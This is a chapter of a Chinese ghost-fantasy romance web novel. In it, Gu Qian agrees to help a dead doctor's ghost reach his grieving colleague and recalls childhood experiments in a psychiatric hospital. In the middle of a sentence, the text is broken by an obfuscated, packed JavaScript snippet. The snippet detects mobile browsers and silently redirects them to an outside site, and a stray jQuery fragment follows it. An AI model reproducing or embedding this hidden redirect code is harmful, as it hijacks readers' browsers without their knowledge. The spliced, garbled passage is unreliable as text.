场面不可谓不诡异。
沈见微瞧不见林木,但能扎扎实实地瞧见面前神态各异的两人。
林木自认理亏,但也愿意承担责任,一荡身子就飘到顾千身面前。
“对不起。”
顾千没说话,林木接着讲:“但是腿我还不能还给你们,请你们帮帮我。”
好一个天罡倒反。
这和威胁有什么区别?
顾千蓦地想起了城无声的爹——胁人者人恒胁之。
真是因果报应不爽。
“求求你们。”林木恳求道,“我从没见过他这样,他整个人都不对劲,今早还写了遗书!”
“他是一个好医生,他恐怕是愧疚于那件事,大家都说我是替他去死的,他那么骄傲一个人,怎么受得了这种话……”林木哽咽起来,本就魂体不稳,此刻更是一闪一闪。
“我知道你们本事大,我也知道自己不对,但是只有你们能看得见我,还能和他说话……”
顾千还是沉默,右手拇指和食指来回摩擦着,这是他思考时的小动作。
一个医生。
一个偷了季留云小腿的医生。
此刻明知自己能被瞬间打散魂魄,还是为了一个活人相求。
这不是威胁,勉强算作是绝望的保护。
如果这是一个执念,理论上无害。如果这是一个请求,那么帮一下也没什么。
季留云全程观察着顾千的脸色。
因这沉默的思考,诊室内十分安静。
沈见微再次看过去,见那两人正严肃地盯着身前的空气,仿佛那里站着什么人。
他见过许多精神状态不太好的人,现下自己也算半斤八两。
世界奇妙,各人有各人的疯癫。
他提醒了一句:“你好,还要继续就诊吗?如果不需要,后面还有病人在等。”
无人回答。
沈见微抬头看了墙上的呼叫按钮,这是从那天之后加班加点配备在诊室里的。
以防突发情况,可以及时呼救。
按下去,保安很快会到。
要按吗?
不了吧,他想,随便吧。
沈见微继续低下头在纸上书写,过了一会,那两个人还是那样盯着空气。
就像真的……
沈见微停住了笔,他又忍不住朝那边看了一眼。
同一时间,顾千也看向沈见微。
看见一双疲惫至极、了无生气的眼睛。
只是,顾千真的很讨厌被威胁。
片刻后,他对着林木点了点头。
林木大喜,魂体闪烁得更急促了,“谢谢,真的谢谢……”
像是怕顾千反悔似的,急切地说:“下周四,他要接手我的那台手术,病人是个八岁的小姑娘,我研究了半年的方案,但最关键的步骤我写在了别的地方。”
他的声音低下去:“求你,替我劝劝他,然后把那份方案交给他。”
“你跟他说什么都好……就是别提我。”
顾千又点了一次头,望向沈见微说:“沈医生,我要和你聊聊林木的事,听说你下周要接他的手术?”
林木慌了,“你怎么转口就说出来了!”
他连忙回头去看沈见微。
沈见微书写的动作顿住了,鼻尖在纸面上停出一点墨渍。
几秒后,那只手继续写字。
他没有抬头,还是平静地说:“我不知道你从哪听到的手术的事,事关病人,不是我该和你谈的。”
“至于林木,他的事,新闻和档案都有记录。”
太平淡了,声音连起伏都没有。
林木却在听见自己名字的瞬间慌了神,他想让顾千别说下去了,去拉顾千袖子,手却从对方身体中穿过。
他着急得比手画脚,“别!别提我呀!”
沈见微不再看向这边,“后面还有别的患者,请你们离开吧。”
“我有林木给你的遗言。”顾千把绎思盘收起来,“很新鲜的。”
新鲜到林木本鬼就杵在面前,可以做到同声传递。
林木连话都讲不出来了,整只鬼颤抖着去看沈见微的表情。
沈见微这次抬起了头,问:“这是什么新型骗局?”
顾千:“随你怎么想,我只给你这一次机会。”
沈见微依旧是那副疏离的样子,只是指尖用力收紧,在纸上扯出几道痕迹。
他喉头动了动,最后说:“我五点半下班,方便留个联系方式吗,到时候我联系你。”
*
出了诊室,林木一路飘在顾千身边,时而谢天谢地,时而小声抱怨。
“你别跟他提我呀,这我得想句什么话跟他说,愁死了……”
他飘来荡去,抱怨也就这么三百六十度循环立体音效地响在顾千耳边。
“你眼看着就要散了。”顾千停下来提醒他,“我说过你魂体在不能在阳间久待。”
季留云捧场道:“就是,我记得的,顾千跟你讲过的。”
林木当场表演一个间歇性耳聋,只管焦急地转着圈。
“怎么办怎么办,告诉他什么好,他会想听我说什么?要不我把家里那套手办全部送给他?我——”
走到阳光下,他说话的声音忽然卡克起来,喉咙口像被什么东西扯了一下,魂体闪烁得更厉害了。
整个鬼都因为这个变故而模糊起来,他仿佛没感觉似的,还在絮絮叨叨。
“而且,他今天没吃早饭,昨晚还熬了夜,要不一会你们劝劝他,晚饭好歹多吃点?”
林木每说一句,魂体就黯淡一分。
季留云想说点什么,眼巴巴地看向顾千。
“看我干嘛。”顾千没好气地说,“这可是拿你的腿威胁你的鬼,你心疼他,谁心疼你?”
他真的很烦傻狗这样,对谁都心软,对谁都温柔。
甚至还要替威胁他的鬼着想,偏偏还一幅天公地道的样子。
好像,哪怕让他自己受下全世界的委屈,他也会耸耸肩,笑嘻嘻地讲:“没关系呀,我没事的。”
蠢。
顾千冷着脸加快脚步。
“可是我有你心疼啊。”季留云凑到顾千面前,骄傲得很,他扯了扯顾千,说,“可是没有你心疼的都很可怜。”
“我们可以帮帮他吗?我觉得他是一个好人哦。”
顾千脚步慢了些,“你眼里会有不好的人吗?
季留云再接再厉,“有的哦,我被打过的嘛。”
顾千停下脚步,瞪了一眼傻狗,继而用灵力让林木强行回神,从包里拿出稳魂器。
“要是周四,做完那个手术你没把腿还回来,我有一万种方法折磨你。”
季留云再次捧场:“我劝你要听话哦,顾千很厉害的,说到做到的。”
林木打量那个像迷你充电宝一样的东西。
银白色的外壳上四角装饰着精致的铜扣,中间是一块液晶屏,显示着电量99%。
“就是……”他说,“diudiudiu?”
顾千:?
林木不好意思地说:“我以为音效到位,我就钻进去了。”
“抱歉啊,这头一次死,也没什么经验。”
顾千眉头拧得更紧了。
这熟悉的松弛感是怎么回事?
为什么这一个个死鬼都敢在他面前这么开玩笑?
季留云是,林木也是。
顾千感受到林木自从听见自己愿意帮忙后,整只鬼都安心许多,好像把自己当成了什么善施恩德的大好人。
其中是不是有什么误会?
林木察言观色,继续分析:“还是说,这个跟电视剧里的猪笼草一样,我进去会被慢慢消化。”
“少看点电视剧,对脑子好。”顾千按下开关,林木化作银光流了进去。
季留云好奇地凑过来看,问道:“里面舒服吗?”
顾千反问:“你也想进去?”
“那不要。”季留云退开一步。
稳魂器的电子屏幕跳出一行字:哇塞,这里也太棒了吧。
季留云又贴过来,“你说过的,进去会睡着。”
“嗯。”顾千转着手里的物件,“强行稳定魂体,但时间有限,最多一个月。”
他看了眼电子屏幕上显示的时间:30天00时00分。
“走吧,去看看小粟。”顾千提议,季留云立马答应。
*
吕粟住在康复病房,四人间一共住了三个病人。
他躺在靠窗的那张病床上,身体比他的鬼魂要瘦小许多,床头标识牌嵌着一张“长期卧床”。
小粟身边仪器不多,主要都是一些常规监测生命体征和支持护理的仪器。
季留云低声说:“小粟讲最近自己魂魄飘出来的时间越来越少了,这是好事吧?”
“嗯。”顾千点点头,“也许吧。”
植物人能够苏醒的可能性取决于脑损伤的程度,他看过城无声传来的信息,小粟虽然伤了脑干,但万幸是可逆性损伤,等脑部代谢和神经活动慢慢恢复,苏醒的概率很大。
“那有没有我可以为他做的呀?”季善鬼期待地问。
顾千的目光扫过病房。
隔壁床的床头柜上摆着卡纸,旁边那床摆着水果糕点,再过去摆着玩具。
唯独小粟床头空空的,连颗糖都没有。
于是顾千说:“你可以去楼下便利店给他买点零食,摆着,馋醒他。”
“好哦!”季留云兴冲冲就要出去,又想起什么回头问,“顾千,你说小孩子会喜欢什么呀?”
“买你喜欢的就行。”顾千坐在小粟床边,拿出手机。
傻狗在响花路一战成名,界融里充满他的传说。
#阳间第一护主金毛鬼#
#一条腿的战斗力能有多强#
#古今再发新糖#
#谁都不许说顾千,我把你嘴打烂#(爆)
实锤!金毛鬼为顾千暴走现场,全程高能,谁说断腿不能打架?
狼藉废墟之中,还有未散尽的金色灵光浮动半空,画面中央季留云红着眼弯腰往顾千面前凑。
哪怕季留云已经弯下腰,顾千还是需要仰着脸才能和他对视,那一刻,他们的身高差成了一个刚刚好的距离,顾千手指落在季留云眼皮上,擦去那些泪光。
两人的影子交织在废墟之中,静夜里,一个哭得像孩子,一个温柔得不像话。
【头七不出门】:亡友们,之前金毛鬼独腿战斗的照片你们看了吧,打得那群守阴师到处找头!简直不要太解气!
【殡仪馆长住客】:谢邀,当时在现场,亲眼见证全程,金毛鬼动手的时候那个威压,我以为我都快死了。说实话,怕是真的怕,磕也是真的好磕。
【今天还在飘】:哇,羡慕楼上能亲眼见证!所以说,金毛鬼是真的凶,就看他愿不愿意对吧。
【五行缺命】:卧槽??这是那金毛鬼?
【阴间摸鱼达鬼】:所以说嘛,金毛鬼平时看着傻乎乎的,战斗起来这么猛,难怪顾千宠他。
【冥币刷新小能手】:让我来分析一下。
金毛鬼:在外面凶成这样·jpg
还是金毛鬼:见到顾千秒变小奶狗·jpg
战斗力MAX,听话程度MAX,谁能扛得住他掉眼泪,谁能!!这反差我吹爆!
【雨滴落在坟头青草】:啊这,古今szd!
【投胎路上堵三年】:他俩不是真的我就是假的。
【散魂不散德】:求问朝哪个方向磕头可以让我谈一个这样的!这对我很重要!
【生无可恋】:等等,那个包上印着的精神病院不是早就倒了吗?为啥金毛鬼会背着这个?
【奈何桥修路中】:我就是死在那家精神病院的,那家医院贼恐怖好吗!会做人体实验!
【头七做鬼摸鱼】:哇,楼上的别说了,这事闹得挺大的。】
……
顾千视线停留在精神病院上。
他死也不会忘记那个医院。
营雪精神病院。
离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037580|147102||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家漂泊的第一百零二天,顾千被抓进精神病院,理由是有人报警他当街伤人。
初冬,雪薄寒重。
那天是他的生日。
顾千七岁尚未知道自己可以通过灵力谋生,捡了半年的垃圾吃。
那天他像往常一样在餐厅后巷翻垃圾桶,离开时看见店里有一个小朋友在过生日,爸爸妈妈拍着手为他唱歌,蛋糕上点了七根蜡烛。
小顾千看呆了,心里酸酸苦苦的,又有点羡慕。
他有点想家,又很害怕那个家。
顾千摸了摸脖子上爷爷的指骨,心里才安稳些。
隔着玻璃,他轻轻地,小心翼翼地,向那个载满美好祝愿的蜡烛吹了一口气。
这样,他也算过了生日吧。
他捂着空荡荡的肚子准备离开,却还是忍不住回头悄悄许了个愿。
今天会不会有好事发生?
顾千小朋友会不会也能收到礼物呢?
就在这时,那桌的父母同时起身出去迎接亲朋,小朋友晃晃悠悠地想要跟着出去,眼看着就要头着地的跌落。
顾千想也没想,灵力涌出打碎玻璃扶住了那个小朋友。
同桌的人尖叫起来:“有小流氓砸玻璃伤人!”
之后一切事情都变得混乱且难堪。
小顾千一个劲地说自己没有伤人,自己想要救人。
他无措起来,他不知道为什么又一次,因为自己帮助别人,再一次让事情发展成这样了呢。
父母的身影和那些质问他的人重叠在一起,把他逼得退无可退。
“我没有伤害人!我不是坏蛋!”小顾千崩溃地大喊,“别逼我!你们别杀我……”
当天,他就被送进了精神病院。
那是一家打着儿童精神病院的名号,实行灵力实验的机构。
幼小的身体被绑在实验室里,抽血,碎魂,甚至无数次被那群白大褂强行试着把狐妖之力切碎取出来。
冰冷的讨论和机器毫无节奏的音律包裹住他。
很疼的,只要活着就会很疼的。
一条纤瘦的命在白炽灯下逐渐失去重量。
他还没到花期就腐烂了。
顾千当年太小了,以为每个问题都会有答案。
以至于他近乎执着地想明白,为什么会是这样,为什么谁都能伤害他。
做好事是罪吗?
想有人爱是罪吗?
想收到礼物也是罪吗?
问题没有得到答案,直到现在,他依然很胆小。
这么多年来,顾千用瘦弱的身体和傲气的性格给自己做盔甲,活得辛苦又滚烫。
他并不怕痛。
所以他给了季留云那个背包。
他几乎是自虐地逼着自己面对这一段回忆,他要把自己骨头打断,让自己长出新的血肉。
他要向七岁的顾千证明他可以变好,他并没有错。
这是自私又自负的选择,季留云既然那么阳光明媚到处散发温暖,那为什么顾千不能利己一些。
借他的温暖,来托住自己的伤疤呢?
季留云做到了,顾千也做到了。
他以为,看习惯了季留云背那个小包,自己也能顺理成章抵抗住对于医院的恐惧。
是的,他恨营雪,但那片已经消散在时光的旧址,留下万钧恐惧伴随顾千终身。
童年的恐惧实在难以拔除。
就像当年母亲刺入顾千身体里的匕首,生了锈,锈迹在骨头上肆虐,无数次差点压死这条倔强的灵魂。
顾千至今都害怕医院,他害怕这个生死并存的地方,害怕消毒水的气味,害怕白大褂,害怕那些滴滴作响的仪器。
这些害怕,顾千始终守口如瓶,也不敢让自己拥有坦然和被爱的能力。
他不相信,有谁知道他的过去,还能坦荡地对他张开双臂。
毕竟,谁会愿意拥抱一具尸体呢?
他故意使走季留云,他以为自己可以独自正视恐惧。
可他失败了。
消毒水的气味钻进身体,一点一点侵蚀着他的神经。手脚重新冰凉起来,仿佛又被绑回了那间病房,那个实验台,
顾千蜷缩起来,像七岁时那样。
他颤抖着捂住嘴巴,不肯往外漏出一声软弱的呼叫。
可那些记忆还是争先恐后地涌了上来,针管刺入皮肤的触感,手术刀划开身体的声音*
手机在此时噼里啪啦响了起来。
响花路事件之后,顾千还没说什么呢,季留云却开始频繁地向顾千报备行踪。
只要离开见不着面,哪怕是在院里上下楼,季留云都会发消息说自己在哪里。
下楼十多分钟的时间,几十条消息。
【我出病房门咯】
【我到走廊拐角了哦。】
【我按电梯了哦】
【我进电梯了嘿嘿。】
【我勇敢的出电梯了哦。】
【顾千顾千,你看这朵小花是不是很像你。】
……
傻狗拎着一大包东西回来的时候,顾千已经逼着自己平复好了心情。
但整个人依旧不太有兴致,靠在墙上看季留云兴冲冲地布置小粟的床头鬼。
最后,傻狗亮着一双眼睛神秘兮兮地凑到顾千面前。
“顾千顾千。”他喊,一点都藏不住声音里的雀跃。
“干什么。”顾千还没全部从回忆中抽离,喉头还是有点刺痛。
他低着头,不去看傻狗。
耳边响起一阵塑料袋的声音,随后一只肥嘟嘟的粉白狗爪棉花糖猝然滑进视线里。
像一朵迷路的云,比傻狗的巴掌还大。
季留云的声音又轻又软:“我们顾千小朋友也有礼物哦。”
回忆突然坍缩。
顾千定定地看着那个傻气的棉花糖,眼泪无声地滑落眼眶。
模糊的视线里,他看见一只瘦小的手伸向那个迟来的礼物。
顾千听见自己带着哭腔说话。
“你来得太晚了啊。”